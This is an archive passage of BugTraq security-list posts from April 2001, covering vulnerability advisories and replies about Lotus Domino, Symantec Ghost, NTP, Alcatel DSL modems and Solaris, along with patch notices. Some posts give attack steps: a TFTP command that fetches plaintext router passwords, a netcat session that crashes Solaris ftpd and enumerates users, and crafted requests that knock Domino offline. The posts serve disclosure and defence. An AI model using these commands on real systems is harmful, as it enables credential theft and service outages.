a login, then he or she could easily wreak havoc to any hosts or devices connected to the unit, the scope of which will be left to the imagination of the reader. My recommendation to Lightwave Com., is to change the firmware so that upon connection to the telnet ports, you are immediatly prompted to log in as a user, and when there are 3 or more failed login attempts the failure is logged and the TCP connection is closed. My recommendation to anyone that is using one of these terminal servers is to keep it away from any internet routable network. Regards, - John -- John McInnes - Email: [EMAIL PROTECTED], Phone: +61 410 422 107 http://www.dissension.net/~john/ -- It will be advantageous to cross the great stream ... the Dragon is on the wing in the Sky ... the Great Man rouses himself to his Work. PGP signature
Re: webHancer Information / BugTraq mailing list
I have been trying to avoid this discussion, but I am being pulled into it because I have a problem with people spreading false information for the sake of attention. If you would like to debate if Audiogalaxy should also install the webHancer software automatically, please do, but debate it knowing the facts. If you have questions about how Audiogalaxy works I will be glad to discuss this with you. Please talk to Bruce Linton at webHancer and I am sure he will be glad to give you the facts on how webHancer works. webHancer security policies have been verified by a 3rd party - Deloitte Touche. More information is available at: http://www.webhancer.com/site/products/privacy/index.asp When you download the Audiogalaxy Satellite it is clearly stated what webHancer does and that webHancer is installed on your system along with the Audiogalaxy Satellite. If you do not wish this to happen do not install the Audiogalaxy Satellite. It looks like you have not even bothered to download the latest version (0.605) which has been out since the end of March. Quoted from the readme.txt file: "Quick break down of the install process: *webHancer is installed on everyone's machine - it can be uninstalled by going to control-panel add/remove programs (webHancer reports network latency about websites you visit - they throw away your IP address BTW so its anonymous)" . . ." I invite you all to go and download the Audiogalaxy Satellite at http://www.audiogalaxy.com/satellite instead of spreading rumors on this list. Here is an example of a company that spreads grossly false information. If I were a client of Global Integrity I would cancel my subscription since they do not post the facts, but send over-dramatic warnings that are not thought through nor even researched in hopes of seeming valuable to their customers by scaring them. To start off - webHancer and the Audiogalaxy Satellite DOES not even install on a Win 3.x platform. WebHancer does not even install on a Win95 platform as I am told (Bruce this is correct?). The statement "email addresses and other information is shared with an information collector" is flat out false. Audiogalaxy does not share the email addresses it gets from the Audiogalaxy sign up process, nor has Audiogalaxy ever used the email addresses to send any kind of mail to those accounts. The WebHancer software is completely separate from the Audiogalaxy Satellite software and the two products have zero interaction and do not exchange any kind of data. Where does one get "read files from your hard drive and send them to its parent company"? This is completely untrue. To see exactly what the Audiogalaxy Satellite is doing in a very detailed fashion enable logging and read the generated logv605.txt file. The REACT advisory then continues to quote webHancer end-product information selectively quoting specific parts. Little known to Global Integrity that webHancer offers several services to its clients which utilize client data (websever logs) that is implied to originate solely from the webHancer client data (Bruce maybe you can step in here with more details). I do not mind Global Integrity issuing a statement about Audiogalaxy and WebHancer, but it better contain facts instead of random BS meant to seem like a valuable alert. I think this alert brings into question the integrity of Global Integrity itself as a company and its many "alerts". We did not even receive a phone call from Global Integrity to discuss this before they posted it. REACT Advisory 2001-04-10, Trojanized program violates user privacy. ///\\\ ___ __ ___ ___ / / / /\ \ \ / / / / \ \ \ /__ / / /\ \ \ / \ / / \ \ \ / \ / / \ \ \ / \ /__ / \ \___ \ Predictive Systems Rapid Emergency Action Crisis Team SECURITY ADVISORY This is an automated advisory from the Predictive Systems REACT advisory service. Please do not reply to this message as it was sent from an automated mailbox. Comments or questions about this specific advisory should be addressed to [EMAIL PROTECTED] 2001-04-10 /// \\ SUBJECT: Trojanized program violates user privacy. RISK FACTOR: 3 RISK FACTOR EXPLANATION: Information on users surfing habits, server ID, OS, platform, Email addresses and other information is shared with an information collector. IMPACT: Release of this type of information could contribute to a loss of corporate and personal information that could then be used for other purposes. SUMMARY: The AudioGalaxy Satellite is a small and simple program that allows you to share your music with friends and other users on AudioGalaxy. Part of the install program is an additional tool called WebHancer this program tracks the user's usage of the Internet. PLATFORMS AFFECTED: Workstations,Web Clients Hardware: Operating Systems: Windows NT,Windows 3.x,Windows 9x,Windows
[RHSA-2001:046-03] New netscape packages available
- Red Hat, Inc. Red Hat Security Advisory Synopsis: New netscape packages available Advisory ID: RHSA-2001:046-03 Issue date:2001-04-09 Updated on:2001-04-10 Product: Red Hat Linux Keywords: netscape gif comment Cross references: Obsoletes: - 1. Topic: New netscape packages are availabe to fix a problem with the handling of JavaScript in certain situations. By exploiting this flaw, a remote site could gain access to the browser history, and possibly other data. It is recommended that all users upgrade to the fixed packages. 2. Relevant releases/architectures: Red Hat Linux 6.2 - alpha, i386 Red Hat Linux 7.0 - alpha, i386 3. Problem description: Netscape does not escape GIF file comments in the image information page; this allows JavaScript commands embedded therein to be executed. These commands could access data such as the browser history. Credit goes to Florian Wesch [EMAIL PROTECTED] for discovering the vulnerability, and to Netscape for providing fixed packages. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directly *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 6. RPMs required: Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/en/os/SRPMS/netscape-4.77-0.6.2.src.rpm ftp://updates.redhat.com/6.2/en/os/SRPMS/netscape-alpha-4.77-0.6.2.src.rpm alpha: ftp://updates.redhat.com/6.2/en/os/alpha/netscape-common-4.77-0.6.2.alpha.rpm ftp://updates.redhat.com/6.2/en/os/alpha/netscape-communicator-4.77-0.6.2.alpha.rpm ftp://updates.redhat.com/6.2/en/os/alpha/netscape-navigator-4.77-0.6.2.alpha.rpm i386: ftp://updates.redhat.com/6.2/en/os/i386/netscape-common-4.77-0.6.2.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/netscape-communicator-4.77-0.6.2.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/netscape-navigator-4.77-0.6.2.i386.rpm Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/netscape-4.77-1.src.rpm ftp://updates.redhat.com/7.0/en/os/SRPMS/netscape-alpha-4.77-1.src.rpm alpha: ftp://updates.redhat.com/7.0/en/os/alpha/netscape-common-4.77-1.alpha.rpm ftp://updates.redhat.com/7.0/en/os/alpha/netscape-communicator-4.77-1.alpha.rpm ftp://updates.redhat.com/7.0/en/os/alpha/netscape-navigator-4.77-1.alpha.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/netscape-common-4.77-1.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/netscape-communicator-4.77-1.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/netscape-navigator-4.77-1.i386.rpm 7. Verification: MD5 sum Package Name -- 1fde261c2376c8d210f6d72d23ad4de6 6.2/en/os/SRPMS/netscape-4.77-0.6.2.src.rpm 71b4f8c9d9cb39df21a6d99e0c062b80 6.2/en/os/SRPMS/netscape-alpha-4.77-0.6.2.src.rpm 0190f8439a1507165230f328dfe46ba2 6.2/en/os/alpha/netscape-common-4.77-0.6.2.alpha.rpm a571ee08b6b44aa4cbc3b98b6bef646c 6.2/en/os/alpha/netscape-communicator-4.77-0.6.2.alpha.rpm 304df2ab2e6f052a0e6bb432dd6f0afe 6.2/en/os/alpha/netscape-navigator-4.77-0.6.2.alpha.rpm a2a5adb4500d667265a34fb99b59c37c 6.2/en/os/i386/netscape-common-4.77-0.6.2.i386.rpm 9f439fa9e54ea82b37c1a3aa7c49d032 6.2/en/os/i386/netscape-communicator-4.77-0.6.2.i386.rpm b0970903ea25f2fe73c8d66afb9218cb 6.2/en/os/i386/netscape-navigator-4.77-0.6.2.i386.rpm 400709093733a7ccf90da78d179daeb1 7.0/en/os/SRPMS/netscape-4.77-1.src.rpm 29b80daa27fdad309a68f8101830e863 7.0/en/os/SRPMS/netscape-alpha-4.77-1.src.rpm a0fbb89d2dfb86c432f1d190e38981f3 7.0/en/os/alpha/netscape-common-4.77-1.alpha.rpm 05859fefa5d8cd3b02d2c768b614490b 7.0/en/os/alpha/netscape-communicator-4.77-1.alpha.rpm d0681b896b1fee8d5f1783274f4b1f64 7.0/en/os/alpha/netscape-navigator-4.77-1.alpha.rpm 4bb1bcc4c439531019bcab78cd953f59 7.0/en/os/i386/netscape-common-4.77-1.i386.rpm 7d6948941a20599b302bc0bc4f1c0999 7.0/en/os/i386/netscape-communicator-4.77-1.i386.rpm 7d570955357ad6b8fbb9d9fd4913d5cf 7.0/en/os/i386/netscape-navigator-4.77-1.i386.rpm These packages are GPG signed by Red Hat, Inc. for
Re: multiple vulnerabilities in Alcatel Speed Touch DSL modems
We were not interested in denial of service issues, only software flaws that permit an abuser to take control of or modify the device. Then we became interested in the EXPERT mode that cannot be turned off. Lots of stupid things can't handle weird packets. --tep -- Tom E. Perrine ([EMAIL PROTECTED]) | San Diego Supercomputer Center http://www.sdsc.edu/~tep/ | Voice: +1.858.534.5000 "Libertarianism is what your mom taught you: 'Behave yourself and don't hit your sister."' - Kenneth Bisson of Angola, Ind.
def-2001-20: Lotus Domino Multiple DoS
== Defcom Labs Advisory def-2001-20 Lotus Domino Multiple DoS Author: Peter Grndl [EMAIL PROTECTED] Release Date: 2001-04-11 == =[Brief Description]=- The Lotus Domino Web Server contains multiple flaws that could allow an attacker to cause a Denial of Service situation. =[Affected Systems]=-- - All releases of Lotus Domino R5 prior to 5.0.7, for all platforms --=[Detailed Description]= HTTP Header DoS: Affected headers are "Accept", "Accept-Charset", "Accept-Encoding", "Accept-Language" and "Content-Type". Unique values sent with these headers are not freed properly. This means that by repeatedly requesting eg. document root (/) with various accept fields (accept: a, accept: aa, accept: aaa aso.) will eventually result in the server running out of physical memory and the server will display a message similar to this one: "HTTP Server: Could allocate 8036 bytes of memoryOut of memory in HTMemPoolAlloc (file htmpool.c, line 506).Program aborted." and one of two things will happen then: 1) The Lotus Server will continue to run (although it no longer answers on TCP port 80), and no function that needs a working thread will work (this includes task manager, as the parser process is preventing other processes from requesting a thread). The occupied memory will not be released. 2) The Lotus Server process will crash, and will need a restart in order to regain functionality. The rest of the services, unrelated to the Lotus Server, on the host will continue to function. Unicode DoS: Sending certain combinations of unicode chars (16 bit) to the server in a GET request triggers a server exception that will crash the Domino server. eg. GET /190xchr(430) HTTP/1.0 If qnc.exe is removed from the system, the crash will only affect the web server. DOS-device DoS: !!!This Denial of Service only affects Windows and OS/2 platforms!!! You can access DOS-devices through the web server, and if this is done through the cgi-bin directory, a ncgihttp.exe process will be opened to handle the execution of eg. con. This processing will not finish and when approx. 400 of these requests have been made, the server will no longer answer requests to tcp port 80. CORBA DoS: A continous stream of connects with a payload of 10K data followed by return to TCP port 63148 (DIIOP - CORBA) results in the CPU on the target host jumping to 100% and the memory slowly filling up, and the harddisk being written to constantly during the attack. The CPU usage will continue to remain at 100% long after the attack is over. URL parsing: Big HTTP requests (8k) to TCP port 80 of /'s result in a lot of CPU consumption (99-100%) opposed to eg. 8k of a's that result in approx. 1% CPU usage. ---=[Workaround]=- Download and upgrade to Notes/Domino 5.0.7: http://www.notes.net/qmrdown.nsf/QMRWelcome -=[Vendor Response]=-- The need for improved parsing and the CORBA issue were brought to the vendors attention on the 9th of November, 2000. The header-DoS was brought to the vendors attention on the 1st of December, 2000. The Unicode DoS and the DOS-device issues were brought to the vendors attention on the 9th of January, 2001. The URL parsing algorithm was improved in Lotus Domino 5.0.6, and the remaining three issues were fixed with the release of QMR 5.0.7. The DOS-device issue was also discovered by Lotus internal testing! == This release was brought to you by Defcom Labs [EMAIL PROTECTED] www.defcom.com ==
flaw in RH ``mkpasswd'' command
Hey, The mkpasswd password generator that ships in the ``expect'' package of (at least RedHat 6.2) generates only a relatively small number (2^15 for the default password length) of passwords. Presumably this is a result of trying to apply too many rules of what is a ``good'' password to the generation process. Simple test: while [ 1 ] ; do mkpasswd /tmp/shez/passwords ; done sleep 16000 # this is long enough to demonstrate enough on my machine wc -l /tmp/shez/passwords 113544 sort -u /tmp/shez/passwords | wc -l 32193 IIRC I reported this to redhat last year some time. Cheers Shez P.S. Apologies if you've seen this already, I couldn't see anything in the archives on it but I've not been onn bugtraq for a while now.
Re: ntp-4.99k23.tar.gz is available
Has anyone tested the exploit against embedded ntp implementations such as in Cisco router, for example, to see if the daemon would misbehave, etc.? Cisco has said they are aware of the advisories and investigating the issue. That's all I know. I do not have a convenient sacrificial Cisco box at the moment... but I probabaly should go set one up for this and other games. I tried the exploit against a cisco 2614/IOS 10.3 and a cisco 3640/IOS 12.0 when the exploit first came out, and there was no evidence of any effect. Since April 7 I've been running ntpd/4.99k23 on an assortment of Linux systems and on a pair of antique Sparc 2's running SunOS 4.1.3. All seem happy, are keeping good time, and are unaffected by the exploit. -- Dick St.Peters, [EMAIL PROTECTED]
def-2001-21: Ghost Multiple DoS
== Defcom Labs Advisory def-2001-21 Ghost Multiple DoS Author: Peter Grndl [EMAIL PROTECTED] Release Date: 2001-04-11 == =[Brief Description]=- Ghost contain flaws that allow an attacker to crash the application. =[Affected Systems]=-- - Symantec Ghost 6.5 for Windows NT/2000 - Sybase Adaptive Server Anywhere Database Engine V6.0.3.2747 --=[Detailed Description]= The first flaw involves the database engine, which isn't a Symantec product, but it is shipped with Symantec Ghost 6.5 (and possibly older versions as well). The database engine is the run-time engine by Sybase. Connecting to the database engine on tcp port 2638 and sending a string of approx. 45Kb will cause a buffer overflow that results in registers being overwritten. The database engine needs to be restarted in order to regain functionality. "State Dump for Thread Id 0x5c8 eax=0063f0e4 ebx=0063f204 ecx=41414141 edx=41414141 esi=00630020 edi=0063 eip=65719224 esp=08fbfbf0 ebp= iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs= efl=00010206" The Ghost Configuration Server is running on TCP port 1347. It is periodically vulnerable to crash triggered the same way as the database engine overflow. This is not a buffer overflow, and can only be used as a DoS attack. "The following information has been placed on the clipboard. If you would like to visit the Symantec Technical support site at http://www.symantec.com/techsupp/ it may help our technicians diagnose the problem and improve our product. Symantec Ghost Configuration Server An exception has occurred of type c005 D:\Program Files\Symantec\Ghost\ngserver.exe 6.5.1.144 [ Limited backtrace only ] memmove+0x33 StreamInterchange::doDispatch+0x1b2 StreamInterchange::readEvent+0x13e SocketEvent::dispatch+0x33 SocketEvent::wait+0x203" ---=[Workaround]=- Restricting access to the Ghost Configuration Server might not be applicable, since you would need that access in order to use the net capabilities of the program. The database engine can be restricted to listening on the loopback interface like so: 1. shut down the configuration server 2. launch the Sybase engine manually: cd "\Program Files\Symantec\Ghost\bin" rteng6 -x tcpip(MyIP=127.0.0.1) ..\db\SYMANTECGHOST.DB (or the equivalent before restarting the Symantec Ghost Configuration Server service) Vendor reponse regarding upgrade: "1 - Ghost 7.0 ships out to customers on the 2nd of April 2 - It is a "free" upgrade for those who purchased Upgrade Insurance as part of their license 3 - Standard upgrade procedures are available for those affected by the problem Direct all inquires to www.symantec.com/ghost and/or www.binaryresearch.net" -=[Vendor Response]=-- The issues were brought to the vendors attention on the 21st of December, 2000. The issues were resolved in Ghost 7.0, released 2nd of April, 2001. In response to the DoS on the Configuration Server port (1347) the vendor replied: "Just an FYI on the defect; it's not a buffer overflow as such (we're pretty religious about avoiding fixed-size buffers here), but rather a simple fencepost bug which is triggered by an error-handling path where the code at one layer that consumed some input fell over because a lower-layer error function had already cleaned out the buffer." == This release was brought to you by Defcom Labs [EMAIL PROTECTED] www.defcom.com ==
Re: ntp-4.99k23.tar.gz is available
William D. Colburn (aka Schlake) writes: I haven't seen an announcement anywhere, but I noticed it on the FTP server this morning. It is dated Friday evening. ftp://ftp.udel.edu/pub/ntp/ntp4/ntp-4.0.99k23.tar.gz I tried it out with the exploit posted by "babcia padlina ltd. [EMAIL PROTECTED]" and it seems to be safe. I never had a machine that the exploit worked against, but my ntp servers would exit with a segfault when it was run against them. The new server does not exit. FWIW, I downloaded Redhat's patched source RPM and compared the against ntp-4.0.99k23. While this *particular* exploit appears to be fixed, there are some other buffer overflows that are not fixed by k23 that are fixed in the Redhat patches, in particular the use of vsnprintf instead of vsprintf. Then again, the Redhat version may not catch all of these, either. I didn't think to check at the time. ftp://updates.redhat.com/7.0/en/os/SRPMS/ntp-4.0.99k-15.src.rpm ...or just grep the k23 source for vsprintf. Once you think to look, the fixes are pretty obvious. # find ntp-4.0.99k23 -name \*.c | xargs grep vsprintf ./libntp/snprintf.c:rp = vsprintf(str, fmt, ap); ./libntp/snprintf.c:rval = vsprintf(str, fmt, ap); ./libntp/snprintf.c:return (strlen(vsprintf(str, fmt, ap))); ./libntp/snprintf.c:return (vsprintf(str, fmt, ap)); ./libntp/msyslog.c: vsprintf(buf, nfmt, ap); ./ntpd/refclock_mx4200.c: (void)vsprintf(cp, fmt, ap); ./ntpdate/ntpdate.c:vsprintf( ./ntpdate/ntptimeset.c:int vsprintfP((char *str, const char *fmt, va_list ap)); ./ntpdate/ntptimeset.c:vsprintf( ./ntptrace/ntptrace.c:vsprintf( FWIW, the Redhat version also syslog()s attempts to use the published exploit. Hmmm. Perhaps a DoS is next for the "fixed" version. :-) / 2 Hope this helps, Chuck
Re: PIX Firewall 5.1 DoS Vulnerability
On Tue, 10 Apr 2001, Siddhartha Jain wrote: Could this vulnerability exist in other Cisco products using TACACS+ for authentication? For eg. Cisco routers? PIX code is maintained seperatly from IOS code AFAIK. Hugo. -- Alle email aan mij verzonden is gebonden aan de regels beschreven op mijn homepage. All email send to me is bound to the rules described on my homepage. Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ Maasland [EMAIL PROTECTED]http://hvdkooij.xs4all.nl/ Don't meddle in the affairs of sysadmins, for they are subtle and quick to anger.
Re: Catastrophic failure of Strip password generation.
--On Dienstag, 10. April 2001 20:05 Uhr +0200 Thomas Roessler [EMAIL PROTECTED] wrote: -BEGIN PGP SIGNED MESSAGE- Executive summary: If you have ever used Strip for the Palm to generate your passwords, change them. Change them NOW. Hi, I think you forgot to mention the attacker has to know you generated the passwords with Strip... Not likely in many cases, I think. Bye, Andreas -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.8 for non-commercial use http://www.pgp.com iQEVAwUBOtRQ0dep+fmEt3d7AQGMTQgAxZbbniH06Tv4WNoeEdsbPd+eoHC7rEHr gvurNaOs7DmGtFPlU9sEfpgNgT3/JDxJ7StsuuSLALR/8OqN84BRtdbSBwuyBMIb OCblnjObE4P0HH55OjAgQJflYpwN5cKJuUGCEb7T+LuqTREIgKFNP5xBiBJP4RPw bFLwkhFRF/h58Q3dNMBdMghMuJsLGy6c1Y2nOl3bZODUnCER18KnfKcn1vf0lv22 tt6ta7gEm2y+u+NJ9ltcHnXXgm4MN6wTlDPbzhrf6rnhr8/hJvAvuWSwrqagoqlT Ha+1IBBnj5F8EpaE2uB+Rf3Oiek5kwu9LE1lpG0Q/k5aQoS6r2ilEw== =0Q9e -END PGP SIGNATURE-
Re: Solaris Xsun buffer overflow vulnerability
From: eEye Digital Security [mailto:[EMAIL PROTECTED]]
Solaris Xsun buffer overflow vulnerability
Discovered and exploited by:
Riley Hassell [EMAIL PROTECTED]
Release Date:
April 10, 2001
Systems Affected:
Solaris 7/8 (x86 and sparc)
Description:
Yet some more Solaris spring cleaning...
A buffer overflow was discovered in Xsun. Since Xsun is SUID root,
exploiting this vulnerability yields root privileges. The
Hmm.
Just a quick check on a couple of the boxen that I've got access to:
(historical reference)
root@okmok uname -r
5.5.1
root@okmok dir `which Xsun`
-rwxr-s-r-x 1 root root 729792 Jan 26 21:20
/usr/openwin/bin/Xsun
root@foraker uname -r
5.6
root@foraker dir `which Xsun`
-rwxr-s-r-x 1 root root 916792 May 5 2000
/usr/openwin/bin/Xsun
root@wormhole uname -r
5.8
root@wormhole dir `which Xsun`
-rwxr-s-r-x 1 root root 1941644 Dec 15 1999
/usr/openwin/bin/Xsun
My Solaris 8 only seems to have the following patches:
root@wormhole showrev -p | awk '{print $1 $2}'
Patch:108131-03
Patch:108132-03
Don't have a Solaris 7 box to check. Not sure why your Solaris 8 has
a SUID Xsun install, either.
Leif
Re: Console 3200 telnetd problem.
On Wed, 11 Apr 2001, John McInnes wrote: My recommendation to Lightwave Com., is to change the firmware so that upon connection to the telnet ports, you are immediatly prompted to log in as a user, and when there are 3 or more failed login attempts the failure is logged and the TCP connection is closed. I would further recommend to Lightwave Communications that they implement an SSH interface(s) on these products too, to prevent packet sniffing. -- Rich Teer President, Rite Online Inc. Voice: +1 (250) 979-1638 URL: http://www.rite-online.net
R: multiple vulnerabilities in Alcatel Speed Touch DSL modems
This advisory addresses the Speed Touch family of devices, and similar devices apparently based on related code such as the older Alcatel 1000 ADSL Network Termination device (1000 ADSL). All testing was performed on the "Speed Touch Home", and limited testing was performed on the 1000 ADSL. It is strongly suspected that the "Speed Touch Pro" software is at least very similar to that in the Speed Touch Home, so it is probable that the Pro is vulnerable to similar attacks. Other members of the family running software derived from the same code base would also be expected to share these vulnerabilities. First of all, I can confirm that even the Speed Touch Pro router is affected by the same problem. I even found that the speed touch PRO router bundled with the NetEcomomy ADSL group/multigroup offered by Telecom Italia, that work in CIP (Classical IP) mode (so with a PUBLIC IP) is subject to remote attacke if firewalling off/on configuration has been disabled on the ATM interface This feature can be disabled from the CLI interface, telnetting on the router with the command "ipconfig firewalling off". At this point, the TFTP without authentication can be used by a remote attacker straight on the TCP/IP protocol (i.e. there is no need to be "located" on the ATU-C) tftp -i ip GET active/system.ini wth this command, an attacker can "fetch" the password stored inside this file (in a non encrypted form) This is an "add-on" to the backdoor discovered by Tom Perrine e Tsutomu Shimomura. Please remark that a lot of people may have disabled this feature to be allowed to remote admin jobs, pinging and so on, Furhter more, the PRO firmware called build134.134 is the same than HOME, called KHDSAA.134 I tried - succesfully - to run the build134.134 on an HOME and all worked fine. Just CIP PPP and NAT features implemented on the PRO model don't are "enabled" by the home (I suspect for hardware reasons that I'm sill investingating) - Stefano "NeURo" Chiccarelli Metro Olografix Association [EMAIL PROTECTED]) Chief security officer for: - Studio Legale Monti - Nuova Newtel s.r.l. 65126(PESCARA,Italy) Tel: 39+085 44825267 fax: 39+085 44825280
Re: ntp-4.99k23.tar.gz is available
On Tue, Apr 10, 2001 at 11:49:28AM -0400, stanislav shalunov wrote: Chiaki Ishikawa [EMAIL PROTECTED] writes: Has anyone tested the exploit against embedded ntp implementations such as in Cisco router, for example, to see if the daemon would misbehave, etc.? I couldn't do anything to the NTP implementation of a Cisco router here with the stock "ntpdx" exploit as it was posted. (It doesn't crash, it doesn't exhibit same heap corruption as xntpd v3.) Cisco IOS (at least 11.x series) _IS_ vulnerable (tested, confirmed). Earlier versions are presumably vulnerable too. Haven't tested IOS 12.x but it may have the same bug inherited as well (unless cisco folks found the problem and fixed it silently). Hope it helps... -Fyodor -- http://www.notlsd.net PGP fingerprint = 56DD 1511 DDDA 56D7 99C7 B288 5CE5 A713 0969 A4D1
SUN SOLARIS 5.6/5.7 FTP Globbing Exploit !
Hi, i've tested these globbing vulnerability on two different SPARC Solaris Machines. One with 5.6 and one with 5.7 i've started Netcat from a Win2K box to Port 21. C:\nc 10.64.224.3 21 220 gsmms0 FTP server (SunOS 5.6) ready. cwd ~ 530 Please login with USER and PASS. C:\ As you can see. Without being logged on, i'm landing on the prompt again after putting out the cwd ~ command. Then i've connected via SSH to my Solaris box and saw a fresh CORE File created in / . Then i've started : gdb /usr/sbin/in.ftpd /core which gives me the following information : Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"... (no debugging symbols found)... Core was generated by `in.ftpd'. Program terminated with signal 11, Segmentation Fault. Reading symbols from /usr/lib/libcmd.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libsocket.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libnsl.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libbsm.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libpam.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done. Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done. Reading symbols from /usr/lib/libmp.so.2...(no debugging symbols found)...done. Reading symbols from /usr/platform/SUNW,Ultra-250/lib/libc_psr.so.1... (no debugging symbols found)...done. #0 0xff1b6dd0 in strcpy () from /usr/lib/libc.so.1 (gdb) bt #0 0xff1b6dd0 in strcpy () from /usr/lib/libc.so.1 #1 0x1648c in glob () #2 0x162e8 in glob () #3 0x161d4 in glob () #4 0x19884 in yyparse () #5 0x13a90 in main () (gdb) As you see a segment fault has happened. After that i've typed in the bt command to get more info about the segment fault. in offset 0xff1b6dd0 the strcpy() command failed and produced the segment fault. This Problem could allow an attacker to execute code on the stack and gain access to the system. Another nice effect is the following : C:\nc 10.64.224.3 21 220 gsmms0 FTP server (SunOS 5.6) ready. cwd ~netadm 530 Please login with USER and PASS. cwd ~xyz 530 Please login with USER and PASS. 550 Unknown user name after ~ As you see cwd ~netadm just produces a normal 530 message, coz this user exists on the system. the user xyz user doesn't exist and prints out a 550 Unknown user name after ~ This could being used to brute force existing users on the remote system. I saw the same effects on a SPARC Solaris 5.7 box. When i have some more time available i'll write a proof of concept code to exploit this vulnerability, that executes a /bin/sh on the stack. cheers Johnny Cyberpunk ( [EMAIL PROTECTED] )
